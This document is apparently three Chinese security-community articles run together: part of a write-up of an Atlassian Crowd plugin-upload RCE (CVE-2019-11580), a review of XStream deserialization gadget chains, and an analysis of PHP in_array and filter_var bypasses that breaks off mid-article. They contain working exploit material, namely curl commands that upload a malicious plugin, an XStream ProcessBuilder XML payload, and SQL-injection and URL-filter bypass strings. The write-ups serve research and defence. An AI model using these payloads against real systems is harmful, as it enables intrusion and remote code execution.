tmp = buildJarFromFiles(req);
}
现在，让我们继续分析extractJar()方法。
private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
// Create a new file upload handler
ServletFileUpload upload = new ServletFileUpload(factory);
// Parse the request
try {
List<FileItem> items = upload.parseRequest(req);
for (FileItem item : items)
{
if (item.getFieldName().startsWith("file_") && !item.isFormField())
{
tmp = File.createTempFile("plugindev-", item.getName());
tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
item.write(tmp);
}
}
} catch (FileUploadException e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
} catch (Exception e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
}
return tmp;
}
首先，它实例化ServletFileUpload的一个新对象，然后调用[parseRequest()](http://commons.apache.org/proper/commons-fileupload/javadocs/api-release/org/apache/commons/fileupload/servlet/ServletFileUpload.html#parseRequest-javax.servlet.http.HttpServletRequest-"parseRequest\(\)")方法来解析HTTP请求。此方法处理来自HTTP请求的`multipart/form-data`流，并将[FileItems](http://commons.apache.org/proper/commons-fileupload/javadocs/api-release/index.html "FileItems")列表设置为一个名为items的变量。
对于每个item(在FileItems列表中)，如果字段名称以`file_`开头并且不是[表单字段](https://commons.apache.org/proper/commons-fileupload/apidocs/org/apache/commons/fileupload/FileItem.html#isFormField--"表单字段")(HTML字段)，它将创建并写入正在上传到磁盘上的临时文件。如果失败，变量tmp将为NULL；如果成功，变量tmp将包含写入的文件的路径。然后返回到主要的doFilter()方法。
if (tmp != null)
{
List<String> errors = new ArrayList<String>();
try
{
errors.addAll(pluginInstaller.install(tmp));
}
catch (Exception ex)
{
log.error(ex);
errors.add(ex.getMessage());
}
tmp.delete();
if (errors.isEmpty())
{
res.setStatus(HttpServletResponse.SC_OK);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
}
else
{
res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Unable to install plugin:");
for (String err : errors)
{
servletResponse.getWriter().println("\t - " + err);
}
}
servletResponse.getWriter().close();
return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");
如果extractJar()成功调用，tmp变量将被设置且不会是NULL。应用程序将尝试使用pluginInstaller.install()方法安装插件，并将捕获过程中的任何错误。如果没有错误，服务器将返回200
OK并显示一条插件成功的消息。否则，服务器将响应“400 Bad Request”和消息“Unable to install
plugin”，以及导致安装失败的错误。
然而，如果初始extractJar()方法失败，tmp变量将被设置为NULL，服务器将响应“400 Bad Request”以及消息“Missing
plugin file”。
现在我们知道了servlet端点以及各种响应消息，接下来就是见证奇迹的时刻！
# 第一次尝试
让我们使用Atlassian SDK启动一个实例。
现在让我们确保可以通过访问`http://localhost:4990/crowd/admin/uploadplugin.action`来调用pdkinstall插件。
服务器应该响应400 Bad Request：
让我们利用已知的信息上传一个标准插件，我打算使用atlassian-bundled-plugins中的[applinks-plugin](https://bitbucket.org/atlassian/application-links/src/master/applinks-plugin/ "applinks-plugin")来当作上传插件。您可以从[此处](https://github.com/lc/research/blob/master/CVE-2019-11580/applinks-plugin-5.2.6.jar "此处")获取已编译的jar文件。
servlet需要一个包含多部分数据的POST请求，其中包含以名称`file_`开头的文件。我们可以使用curl的--form标志轻松做到这一点.
root@doggos:~# curl --form "[email protected]" http://localhost:4990/crowd/admin/uploadplugin.action -v
从结果中可以看到，插件被成功安装；所以我们现在应该能够创建和安装我们自己的插件。
然后我创建了一个[恶意](https://github.com/lc/research/tree/master/CVE-2019-11580/atlassian-shell "恶意")插件。
所以让我们编译并尝试上传它。
root@doggos:~# ./compile.sh
root@doggos:~# curl --form "[email protected]" http://localhost:8095/crowd/admin/uploadplugin.action -v
我就知道事情没有这么简单，服务器响应了400 Bad Request，并且响应包含错误消息"Missing plugin
file"。我们从早些时候就知道，如果tmp为null，服务器会使用这个消息和状态代码进行响应，但是导致这种情况发生的原因是什么？让我们来调试一下
# debugging
我在IntelliJ中导入了pdkinstall-plugin，将调试器添加到Crowd实例，并打开了正在处理上传任务的PdkInstallFilter.java servlet。
我的第一个猜测是ServletFileUpload.isMultipartContent(req)方法没起作用，所以我设置了一个断点。然后我再次上传我的恶意插件，但是，我们可以看到req方法正常工作，服务器将其视为多部分内容：
因此，肯定是extractJar()没起到我们想要的作用。我们只有调试这个方法并逐行设置断点，我们才可以找出失效的地方。设置断点后，我再次尝试：
我们可以看到upload.parseRequest(req)方法返回一个空数组。因为items变量是空的，所以它跳过for循环并返回设置为null的tmp。
我花了很长时间试图弄清楚为什么会发生这种情况，我不知道确切的根本原因，但我一门心思扑到RCE上。
如果我将Content-Type从multipart/form-data更改为不同的multipart编码，会发生什么情况？让我们试试看。
# 第二次尝试
这一次，我决定尝试用multipart/Mixed的Content-Type上传我的恶意插件。希望可以奏效。
curl -k -H "Content-Type: multipart/mixed" \
--form "[email protected]" http://localhost:4990/crowd/admin/uploadplugin.action
然后响应 插件被安装！
让我们看看是否真的可以调用恶意插件：
RCE get!
# 心得感想
这次研究导致了一些已经领取赏金的同行遭到了批评，但这次研究仍然是有意义的.
这里我有两点感想：
不要害怕新事物以及永葆一颗不服输的初心。
虽然我不擅长Java，没有调试经验，但这并没有妨碍我。正视新事物，不断尝试，付出时间和汗水，这是学习进步的主要过程。
希望这篇文章能够让你得到一点启示。
本文作者 **Corben Leo**
<https://twitter.com/hacker_>
<https://hackerone.com/cdl>
<https://bugcrowd.com/c>
<https://github.com/lc>
原文链接：https://www.corben.io/atlassian-crowd-rce/ | 社区文章 |
# 回顾XStream反序列化漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
[XStream](https://x-stream.github.io/)也是一款用的比较多的序列化组件，可以将object转化为XML并能完整的还原回来。他也曾经出现过反序列化漏洞，本文主要整理XStream相关的安全问题XD
## 0x01 基础知识
XStream的序列化和反序列化主要依靠`toXML`函数和`fromXML`函数，如下代码所示
Person person = new Person("tom", 18);
XStream xStream = new XStream();
String xml = xStream.toXML(person);// object to xml
System.out.println(xml);
System.out.println(xStream.fromXML(xml)); // xml to object
// 输出
// <objects.Person>
// <name>tom</name>
// <age>18</age>
// </objects.Person>
// objects.Person@369f73a2
关于XStream的fromXML分析看[这篇文章](https://www.jianshu.com/p/387c568faf62)，XStream会去调用不同的Converters来处理还原的过程。
XStream反序列化同fastjson这种不一样的地方是fastjson会在反序列化的时候主动去调用getters和setters，而XStream的反序列化过程中赋值都有Java的反射机制来完成，所以并没有这样主动调用的特性。
但是还有一种利用方式，回想一下，在几条常规的java反序列化利用链上，都利用了`HashMap`、`PriorityQueue`等对象（key不可重复等特性）会自动去调用`hashCode`、`equal`、`compareTo`等这种函数。
以这种想法来看XStream反序列化，当我们对Map这种类型的对象进行还原的时候，是否也同样会去调用上面提到的几种函数？接下来，看几个Converter的处理：
### 1\. MapConverter
来看看针对Map类型还原的Converter
`com.thoughtworks.xstream.converters.collections.MapConverter#unmarshal`
`populateMap`函数会去处理后续的值，这里我们直接来看具体put的地方
`com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap`
这里target作为接收者，会调用Map的put函数，后续就是我们熟悉的对key调用hashCode函数
## 2\. TreeSet/TreeMapConverter
这里TreeSet和TreeMap一起讲，因为TreeSet本身就是一个只用上了Key的TreeMap；TreeSetConverter的反序列化处理也是先转化为TreeMapConverter的方式来优先还原TreeSet里的TreeMap，再填充到TreeSet里。
从TreeSetConverter来讲
从treeset中取出field treemap后，去进一步调用TreeMapConverter来还原TreeMap
`com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap`
这里先用soredMap来填充需要还原的Entry，后续将调用`TreeMap.putAll`
最终会调用到`java.util.AbstractMap#putAll`
这里的put函数为`TreeMap.put`,不看具体的代码了，他的主要功能就是填充数据，并且在填充时将会比较当前存在key，如果是相同的key，则替换原有老的值。这个过程会去调用key的`compareTo`函数
### 3\. DynamicProxyConverter
还需要提及的是XStream还支持对动态代理的方式进行还原
这里的还原过程不说了，我们主要的关注点是使用Proxy动态代理，我们可以扩展前面两种的自动调用函数的攻击面，下一章会举`EventHandler`的例子
## 0x02 现有几种利用分析
结合上面基础知识中提到的几个Converter，我们想要利用XStream反序列化漏洞的话，得去充分利用前面提到的几个会自动调用的函数
### 1\. EventHandler
XStream反序列化用的最多的`EventHandler`，来看看他的`invoke`函数
主要实现在`invokeInternal`函数内
首先需要判断此时调用的函数是否为`hashCode`、`equals`、`toString`，如果是的话，采用以下的方式来处理。
但是我们需要利用的是`invokeInternal`函数后续的部分，所以我们利用的时候不能用它来调用上面的3个函数，
**意味着我前面提到的`Map`的方式，不适合用在这个地方**；而`TreeSet`这种调用`compareTo`函数，可以用来继续往下走。
继续往下看
后续的就是经典的java反射机制来实现函数调用，并且这里的target和action都是可控的。
这里需要注意一个问题是，这里action函数参数是有要求的（看452行到461行）
1. 无参数
2. 单个参数，且参数的类型为`Comparable`，并且这个action函数是可利用的
第2种还没有找到这样可利用的函数，这里的第一种可以提两种：
* 配置好cmd的`ProcessBuilder`，action填`start`
* 配置好rmi url的`JdbcRowSetImpl`，action填`getDatabaseMetaData`，这里可以举一反三，主要思路就是可利用的getters
现在再来看看具体的[POC](https://github.com/wh1t3p1g/ysomap/blob/master/core/src/main/java/ysomap/core/payload/xstream/EventHandler.java)
<sorted-set>
<string>foo</string>
<dynamic-proxy> <!-- Proxy 动态代理，handler使用EventHandler -->
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/System/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
### 2\. Groovy ConvertedClosure
**利用条件** ：groovy <= 2.4.3，在后续的版本里，`MethodClosure`不允许反序列化调用。
除了上面这种`EventHandler`的动态代理方式，Groovy的`ConvertedClosure`也同样可以达到这种效果
### MethodClosure
当前MethodClosure的主要作用就是封装我们需要执行的对象，比如
new MethodClosure(Runtime.getRuntime(), "exec");
封装`Runtime`对象，并设定后续需要调用的函数`exec`
### ConvertedClosure
这个`ConvertedClosure`也是继承了`InvocationHandler`，可以在动态代理中作为handler的存在，来看一下他的invoke
`ConvertedClosure`调用的是父类`org.codehaus.groovy.runtime.ConversionHandler#invoke`
主要看这个部分，对于当前调用的函数，如果非Object的函数(如toString、hashCode等)，并且不是`GroovyObject`的函数，会去调用子类的`invokeCustom`，这里看`org.codehaus.groovy.runtime.ConvertedClosure#invokeCustom`
这里的属性都是可控的，也就意味着我们可以去调用去调用前面构造好的`MethodClosure`，这里后续调用`call`的过程可以看最近的这篇[文章](https://paper.seebug.org/1171/)
所以为了满足能调用`invokeCustom`函数，前面的两种`MapConverter`和`TreeSetConverter`，选哪种呢？
很明显答案是选择`TreeSetConverter`，因为`Map`会去调用`hashCode`，而`TreeSet`会去调用`compareTo`，这里的`hashCode`是Object的函数，过不了上面`checkMethod`，具体怎么写POC，不详细说了，见[ysomap](https://github.com/wh1t3p1g/ysomap/blob/master/core/src/main/java/ysomap/core/payload/xstream/GroovyConvertedClosure.java)
PS：这里需要提一下的是由于`compareTo`会带上一个参数，所以我们`MethodClosure`封装的后续需要调用的函数必须要存在一个String类型的参数，不然会找不到函数报错。（可能还有其他的解决方法，这里我没继续深入下去了，直接构造`Runtime.exec`可以解决这个问题）
### 3\. Groovy Expando
前面用到了`TreeSet`的方式，这里我们去使用`Map`的类型来触发。以`Map`的类型来触发，那就是找可以利用的`hashCode`函数
`groovy.util.Expando#hashCode`
如果在类属性`expandoProperties`中存在`hashCode:methodclosure`的内容，我们可以在这里直接调用`MethodClosure`的`call`函数，跟上面`ConvertedClosure`后续的调用一样，但是这里调用时没有函数参数过来，所以这里的思路是`ProcessBuilder.start`或者fastjson那种getters的利用，见[POC](https://github.com/wh1t3p1g/ysomap/blob/master/core/src/main/java/ysomap/core/payload/xstream/GroovyExpando.java)
### 4\. ImageIO$ContainsFilter
上面使用动态代理的方式利用了`TreeSet`调用put时触发的`compareTo`，而这里利用的是`HashMap`类型put时调用的`hashCode`函数；这个链相对来说复杂一点，我们一点一点来说（参考marshalsec的[ImageIO](https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/ImageIO.java)，这里先膜一波大佬的思路，后文为顺势讲下去的，主要目的是到达`Iterator.next`，实际挖掘这种链还是得从后往前找）：
从XStream处理`Map`类型时触发`hashCode`开始
关注`jdk.nashorn.internal.objects.NativeString#hashCode`
后续调用`getStringValue`函数，在这个函数里去调用了`this.value.toString()`，这里的value的类型为`CharSequence`，所以我们接下来要找可以利用的`CharSequence`的实现类，这里用到的是`com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString`函数
这里紧接着会去调用`ByteArrayOutputStreamEx`的`readFrom`，这个函数用到的主要是这边传入的InputStream的read函数
实际上`is`我们是可以控制的，因为这里调用的`this.dataHandler.getDataSource().getInputStream()`，他的值传递都可以用类属性的方式把他构建出来，分别是
1. this.dataHandler == 构造好的DataHandler
2. DataHandler的dataSource属性 == 构造好的XmlDataSource
3. XmlDataSource调用getInputStream()函数返回构造好的inputStream
// com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
用这种方法就可以获取一个可控的`inputStream`，并且后续会去调用`read`函数
继续看下去，`javax.crypto.CipherInputStream#read`
此时需要构造一个`Cipher`类型，并且后续调用`Cipher.update`函数，这里可以用`javax.crypto.NullCipher`来填充，因为最终用到的是父类`Cipher.update`，只要不重载`update`，其他的子类也可以。
继续看`Cipher.update`
说了那么久，我们终于到了至关重要的一个地方，`serviceIterator.next`函数
后续我们将调用ImageIO下的`javax.imageio.spi.FilterIterator#next`
`advance`函数会去调用`filter.filter`函数，而ImageIO存在一个有趣的filter
`javax.imageio.ImageIO.ContainsFilter#filter`
我们可以指定一个Method对象去invoke，到了这里就是激动人心的Java反射机制了，我们提前构造好method对象，就可以调用任意的函数。
利用链比较长，整理一下过程
XStream 处理Map类型 去调用jdk.nashorn.internal.objects.NativeString#hashCode
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
javax.activation.DataHandler#getDataSource
com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource#getInputStream
javax.crypto.CipherInputStream#read -> getMoreData
javax.crypto.NullCipher#update -> chooseFirstProvider
javax.imageio.spi.FilterIterator#next
javax.imageio.ImageIO.ContainsFilter#filter
ProcessBuilder#start
从后面往前看的话，我们前面做的所有操作都是为了能去触发`Iterator.next`，而这种`Iterator`的遍历处理，我们很容易再找到一处，下一节就是不用`javax.imageio.ImageIO.ContainsFilter#filter`来实现利用，请继续往下看XD
### 5\. ServiceFinder$LazyIterator
思路来自[文章1](https://www.anquanke.com/post/id/172198#h2-4)、[文章2](https://meizjm3i.github.io/2020/01/09/Jenkins-2-101-XStream-Rce-%E7%A9%BA%E6%8C%87%E9%92%88CTF%E4%B8%80%E6%9C%88%E5%86%85%E9%83%A8%E8%B5%9BWriteup/)
先来看一下`java.util.ServiceLoader.LazyIterator#next`
当类属性`acc`为空时，会去调用`nextService`函数，而在该函数里面，我们看到了令人熟悉的`Class.forName`的调用。并且我们去实例化的`classname`、`loader`，都是类属性，属于我们可以控制的东西。
到了这里自然而然的就想到了使用BCEL的ClassLoader来载入classname里的字节码了(这里我在fastjson那篇里提到过)。
所以我们可以在ImageIO那条链的基础上，在触发`Iterator.next`时使用这个`LazyIterator`来代替
**修改BCEL ClassLoader构造POC**
这里来提一下关于POC的构造，如果你使用了当前这个利用链，并且不对`ClassLoader`做处理的话，你会发现怎么都打不通，因为这里在实际还原`ClassLoader`的时候出现了错误
这里有两种解决方案，一是去除这种还原有问题的类（会很麻烦），二是直接把`ClassLoader`里的一些无关紧要的东西剔除掉。
这里我选择了第二种，经过调试去除了以下几个属性的值
这里由于我们剔除了`ignored_packages`和`deferTo`，导致BCEL的ClassLoader在载入普通的类的时候会出现加载错误的问题
来看看怎么解决这个问题
首先BCEL的`ClassLoader.loadClass`，一共尝试4次不同的载入方法
1. 从当前ClassLoader的classes去找
2. 对于默认忽略的包`java./sun./javax.`，使用`deferTo`去重新加载，这里的`deferTo`是系统的ClassLoader（`ClassLoader.getSystemClassLoader()`)
3. 对于classname以`BCEL`开头的，根据classname的值去defineClass，这边就是我们最喜欢的任意载入字节码的地方
4. 最后一次是用`repository`去载入当前的classname，如果这里还没找到，就会爆没有找到Class的错误
PS：这部分`repository`取的`SyntheticRepository.getInstance()`，还不是很清楚这个左右，后续整理一下ClassLoader相关的知识再做补充
再来看我们报错的原因，因为删除`ignored_packages`和`deferTo`之后，相当于第二种情况无法载入了，而显然`java.lang.Object`不符合第三种情况。最后第4种里面也没有找到这个`java.lang.Object`，所以最终爆了`ClassNotFoundException`
这里其实已经很明显了，解决这个问题，我们得在`classes`里添加我们传入的class字节码里所用到的所有类，那么在第一次尝试载入的时候，就找到了相应的类，无需尝试后续的几种载入方式。
比如这里我产生的字节码里面用上了`Runtime`，就得加上这个类
这里的Object必须加上，毕竟所有的对象都继承自Object
## 0x03 XStream的防御措施
* * *
XStream在1.4.7版本之后支持使用白名单和黑名单的方式来方式恶意类的反序列化[security](http://x-stream.github.io/security.html)
> Starting with XStream 1.4.7, it is possible to define
> [permissions](http://x-stream.github.io/security.html#framework) for types,
> to check the type of an object that should be unmarshalled. Those
> permissions can be used to allow or deny types explicitly With these
> permissions it is at least not possible to inject unexpected types into an
> object graph. The security framework supports the setup of a black or white
> listing scenario. Any application should use this feature to limit the
> danger of arbitrary command execution if it deserializes data from an
> external source.
>
> XStream itself sets up a black list by default, i.e. it blocks all currently
> known critical classes of the Java runtime. Main reason for the black list
> is compatibility, because otherwise newer versions of XStream 1.4.x can no
> longer be used as drop-in replacement. Unfortunately this provides a false
> sense of security. Every XStream client should therefore switch to a white
> listing on its own as soon as possible. XStream itself will use white
> listing as default starting with 1.5.x and only clients that have also
> changed their setup will be able to use this newer version again as drop-in
> replacement.
这里主要看一下黑名单的处理
### 1.4.7-1.4.9
`EventHandler`的处理由`ReflectionConverter`来处理的，在1.4.7-1.4.9版本，在`canConvert`处添加了对`EventHandler`的限制
所以`EventHandler`的POC就失效了，但是其他的几种并没有失效
### >=1.4.10
在1.4.10版本增加了`setupDefaultSecurity`方式来设置默认的白名单，但是这个版本把上面`EventHandler`的限制去掉了，导致又可以使用最早的POC，需要注意的是这是没修补前的`1.4.10`，修复后已经不可以了
除了新增设置白名单的方式，也新增加了`InternalBlackList`这个converter，他设置的权限为`LOW`，而`ReflectionConverter`权限为`Very_low`，所以会先过一次黑名单检查（XStream在注册converters时，以权限的方式来决定次序）。
所以这里1,4,5都跪了，只剩下groovy这种了，当然肯定还有其他没有发现的利用链，所以最安全的方法还是使用白名单的方式，不能依赖XStream的黑名单来做安全防御。
## 0x04 总结
本文主要回顾了现有的一些利用链，值得注意的是：
如果XStream用的不是白名单模式，还是存在利用的可能性的。现有内置的黑名单只禁止了几个现有的利用链，我们还是可以找到其他可以利用的利用链的，比如前面提到的Groovy的利用链。
需要记住的是XStream他的触发方式依赖的是HashMap、TreeSet这种类型自动调用的`hashCode`、`compareTo`串起来的，后续可以注意一下这种可能的调用链。
PS：本文提到的所有POC，已经更新到[GitHub](https://github.com/wh1t3p1g/ysomap)上 | 社区文章 |
# 从内核层面分析部分PHP函数
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这里根据红日安全`PHP-Audit-Labs`对一些函数缺陷的分析，从PHP内核层面来分析一些函数的可利用的地方，标题所说的函数缺陷并不一定是函数本身的缺陷，也可能是函数在使用过程中存在某些问题，造成了漏洞，以下是对部分函数的分析
## [+]in_array/array_search函数缺陷
下面请看代码
<?php
$whiteList = range(1,24);
//$id = 233;
//$id = '1';
$id = "1' or '1'='1";
if(!in_array($id,$whiteList)){
die("only 1 to 24");
}else{
$query = "select * from user where id = '". $id . "';";
echo $query;
}
三个`$id`分别对应die、输出语句、输出语句，这就是因为in_array函数的第三个参数导致的，先贴出函数原型:
> in_array ：(PHP 4, PHP 5, PHP 7)
> 功能 ：检查数组中是否存在某个值
> 定义 ： bool in_array ( mixed $needle , array $haystack [, bool $strict =
> FALSE ] )
> 在 $haystack 中搜索 $needle ，如果第三个参数 $strict 的值为 TRUE ，则 in_array() 函数会进行强检查，检查
> $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ，则返回 TRUE，否则返回 FALSE。
通过`$id='1'`也可以很明显的知道，在这里之所以能通过`in_array`肯定是仅是进行了弱类型的比较，因为此处`$whiteList`的键值的int型，如果进行强比较是无法通过的，下面对该函数进行分析:
ext/standard/array.c
/* {{{ proto bool in_array(mixed needle, array haystack [, bool strict])
Checks if the given value exists in the array */
PHP_FUNCTION(in_array)
{
php_search_array(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);
}
/* }}} */
/* {{{ proto mixed array_search(mixed needle, array haystack [, bool strict])
Searches the array for a given value and returns the corresponding key if successful */
PHP_FUNCTION(array_search)
{
php_search_array(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1);
}
/* }}} */
其实可以发现`array_search`和`in_array`的内部实现一样，跟进:
/* void php_search_array(INTERNAL_FUNCTION_PARAMETERS, int behavior)
* 0 = return boolean
* 1 = return key
*/
static inline void php_search_array(INTERNAL_FUNCTION_PARAMETERS, int behavior) /* {{{ */
{
zval *value, /* value to check for */
*array, /* array to check in */
*entry; /* pointer to array entry */
zend_ulong num_idx;
zend_string *str_idx;
zend_bool strict = 0; /* strict comparison or not */
/*参数定义，需要2-3个参数，前两个参数是必须的，后面参数是可选的，而可选参数默认是0*/
ZEND_PARSE_PARAMETERS_START(2, 3)
Z_PARAM_ZVAL(value)
Z_PARAM_ARRAY(array)
Z_PARAM_OPTIONAL
Z_PARAM_BOOL(strict)
ZEND_PARSE_PARAMETERS_END();
if (strict) {
...
} else {
if (Z_TYPE_P(value) == IS_LONG) {
// ZEND_HASH_FOREACH_KEY_VAL(hashtable, 数值索引, 字符串索引, 值)
ZEND_HASH_FOREACH_KEY_VAL_IND(Z_ARRVAL_P(array), num_idx, str_idx, entry) {
if (fast_equal_check_long(value, entry)) {
if (behavior == 0) {
RETURN_TRUE;
} else {
if (str_idx) {
RETVAL_STR_COPY(str_idx);
} else {
RETVAL_LONG(num_idx);
}
return;
}
}
} ZEND_HASH_FOREACH_END();
} else if (Z_TYPE_P(value) == IS_STRING) {
ZEND_HASH_FOREACH_KEY_VAL_IND(Z_ARRVAL_P(array), num_idx, str_idx, entry) {
if (fast_equal_check_string(value, entry)) {
if (behavior == 0) {
RETURN_TRUE;
} else {
if (str_idx) {
RETVAL_STR_COPY(str_idx);
} else {
RETVAL_LONG(num_idx);
}
return;
}
}
} ZEND_HASH_FOREACH_END();
} else {
ZEND_HASH_FOREACH_KEY_VAL_IND(Z_ARRVAL_P(array), num_idx, str_idx, entry) {
if (fast_equal_check_function(value, entry)) {
if (behavior == 0) {
RETURN_TRUE;
} else {
if (str_idx) {
RETVAL_STR_COPY(str_idx);
} else {
RETVAL_LONG(num_idx);
}
return;
}
}
} ZEND_HASH_FOREACH_END();
}
}
RETURN_FALSE;
}
由于使用默认strict，因此这里进行省略，默认可选参数下会进入后面的else分支，当我们传入的value是字符型时进入`else if
(Z_TYPE_P(value) == IS_STRING)
{`中，这里先获得数组的值，然后进入关键函数`fast_equal_check_string`中，可以看到当是默认strict时都是用该函数进行判断，跟进:
static zend_always_inline int fast_equal_check_string(zval *op1, zval *op2)
{
zval result;
if (EXPECTED(Z_TYPE_P(op2) == IS_STRING)) {
return zend_fast_equal_strings(Z_STR_P(op1), Z_STR_P(op2));
}
// 参数1：执行结果
// 参数2： php输入的查找项: '1'
// 参数3： php数组当前项
compare_function(&result, op1, op2);
return Z_LVAL(result) == 0;
}
这里先了解一下PHP源码所定义的8中数据类型:
这里op2是整形，因此会直接使用`compare_function`进行比较，该函数实在太长，主要是现根据两个参数的数据类型来进行逻辑处理，这里`op1 =
IS_STRING,op2 =
IS_LONG`，但是`IS_LONG跟IS_STRING的情况不存在`，就进入转换类型的分支,所以这里直接将对应的处理部分贴下:
// Zend/zend_types.h源码定义了如下，这里在比较时用得上，因此一起列出
#define IS_UNDEF 0
#define IS_NULL 1
#define IS_FALSE 2
#define IS_TRUE 3
#define IS_LONG 4 // op2
#define IS_DOUBLE 5
#define IS_STRING 6 // op1
#define IS_ARRAY 7
#define IS_OBJECT 8
#define IS_RESOURCE 9
#define IS_REFERENCE 10
ZEND_API int ZEND_FASTCALL compare_function(zval *result, zval *op1, zval *op2) /* {{{ */
{
int ret;
int converted = 0; //注意是0
zval op1_copy, op2_copy;
zval *op_free, tmp_free;
if (!converted) {
if (Z_TYPE_P(op1) < IS_TRUE) {
ZVAL_LONG(result, zval_is_true(op2) ? -1 : 0);
return SUCCESS;
} else if (Z_TYPE_P(op1) == IS_TRUE) {
ZVAL_LONG(result, zval_is_true(op2) ? 0 : 1);
return SUCCESS;
} else if (Z_TYPE_P(op2) < IS_TRUE) {
ZVAL_LONG(result, zval_is_true(op1) ? 1 : 0);
return SUCCESS;
} else if (Z_TYPE_P(op2) == IS_TRUE) {
ZVAL_LONG(result, zval_is_true(op1) ? 0 : -1);
return SUCCESS;
} else {
//前面都没有匹配成功，直接到该else分支
op1 = zendi_convert_scalar_to_number(op1, &op1_copy, result, 1);
op2 = zendi_convert_scalar_to_number(op2, &op2_copy, result, 1);
if (EG(exception)) {
if (result != op1) {
ZVAL_UNDEF(result);
}
return FAILURE;
}
converted = 1;
}
if(!converted)判断了左右操作数还没有转换为number时候的处理，接着调用`zendi_convert_scalar_to_number`直接将其转换为number.因此这部分代码当操作数不是数字数据类型时，它们将被转换为数字，然后使得转换标志`converted
= 1`，不妨跟踪下这个宏函数:
#define zendi_convert_scalar_to_number(op, holder, result, silent) \
((Z_TYPE_P(op) == IS_LONG || Z_TYPE_P(op) == IS_DOUBLE) ? (op) : \
(((op) == result) ? (_convert_scalar_to_number((op), silent, 1), (op)) : \
(silent ? _zendi_convert_scalar_to_number((op), holder) : \
_zendi_convert_scalar_to_number_noisy((op), holder))))
这里op2是`IS_LONG`，因此不做处理保留，而op1是字符串，所以`_zendi_convert_scalar_to_number_noisy`，这里放出最后的处理:
static zend_always_inline zval* _zendi_convert_scalar_to_number_ex(zval *op, zval *holder, zend_bool silent) /* {{{ */
{
switch (Z_TYPE_P(op)) {
case IS_NULL:
case IS_FALSE:
ZVAL_LONG(holder, 0);
return holder;
case IS_TRUE:
ZVAL_LONG(holder, 1);
return holder;
case IS_STRING:
if ((Z_TYPE_INFO_P(holder) = is_numeric_string(Z_STRVAL_P(op), Z_STRLEN_P(op), &Z_LVAL_P(holder), &Z_DVAL_P(holder), silent ? 1 : -1)) == 0) {
ZVAL_LONG(holder, 0);
if (!silent) {
zend_error(E_WARNING, "A non-numeric value encountered");
}
}
return holder;
case IS_RESOURCE:
ZVAL_LONG(holder, Z_RES_HANDLE_P(op));
return holder;
case IS_OBJECT:
convert_object_to_type(op, holder, _IS_NUMBER, convert_scalar_to_number);
if (UNEXPECTED(EG(exception)) ||
UNEXPECTED(Z_TYPE_P(holder) != IS_LONG && Z_TYPE_P(holder) != IS_DOUBLE)) {
ZVAL_LONG(holder, 1);
}
return holder;
case IS_LONG:
case IS_DOUBLE:
default:
return op;
}
}
这里终于涉及到op=IS_STRING的处理，可以看到会调用`is_numeric_string`,并且在调用该函数时`silent=0`,因此调用`is_numeric_string`传入的最后一个参数是-1，也就是dval
这里就是字符转数字的关键步骤了，将字符串字符一个一个的处理，如果当前字符是数字就进行`tmp_lval*10 + (*ptr) -'0'`运算，直到遇到第一个不是数字的字符,并且最终会`return 0`
回到`if ((Z_TYPE_INFO_P(holder) = is_numeric_string(Z_STRVAL_P(op),
Z_STRLEN_P(op), &Z_LVAL_P(holder), &Z_DVAL_P(holder), silent ? 1 : -1)) ==
0)`因此`Z_TYPE_INFO_P(holder) =
1`再通过`ZVAL_LONG(holder,0)`将其赋值为0后，又赋值给result，因此回到快检测函数:
整个流程分析完成，也就是`in_array()`如果第三个参数为0或者默认时，仅是对数组中的值和查询的值进行一个弱类型比较
前文也看到`array_search`和`in_array`在底层实现一样，因此`array_search`也存在该缺陷:
<?php
$arr = array("true" => 1);
var_dump(array_search('1Crispr',$arr));
//Output: string(4) "true"
## [+]filter_var/parse_url函数缺陷
<?php
function is_valid_url($url){
if(filter_var($url,FILTER_VALIDATE_URL)){
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
//$url = "data://baidu.com/plain;base64,d2hvYW1p";
if(is_valid_url($url)){
$r = parse_url($url);
if(preg_match('/baidu\.com$/',$r['host'])){
$code = file_get_contents($url);
echo $code;
}
}
上面这个例子中可以知道，如果没有对data协议进行过滤，我们可以使用data协议来进行绕过，无论怎么绕过，第一层绕过的始终是`filter_var($url,FILTER_VALIDATE_URL)`对这个函数进行分析，先将其函数原型贴出:
> filter_var ： (PHP 5 >= 5.2.0, PHP 7)
> 功能 ：使用特定的过滤器过滤一个变量
> 定义 ：mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [,
> mixed $options ]] )
FILTER_VALIDATE_URL是一种过滤器，用来判断是否是一个合法的url，不过该判断是一个非常弱的判断，可以从下面的例子中发现:
<?php
//$url = "javascript://123";
//$url = "data://123";
//$url = "ftp://";
//$url = "php://123"
//$url = "compress.zlib://data:123";
//$url = "xx://xxx";
$url = "xx://xx;google.com";
var_dump(filter_var($url,FILTER_VALIDATE_URL));
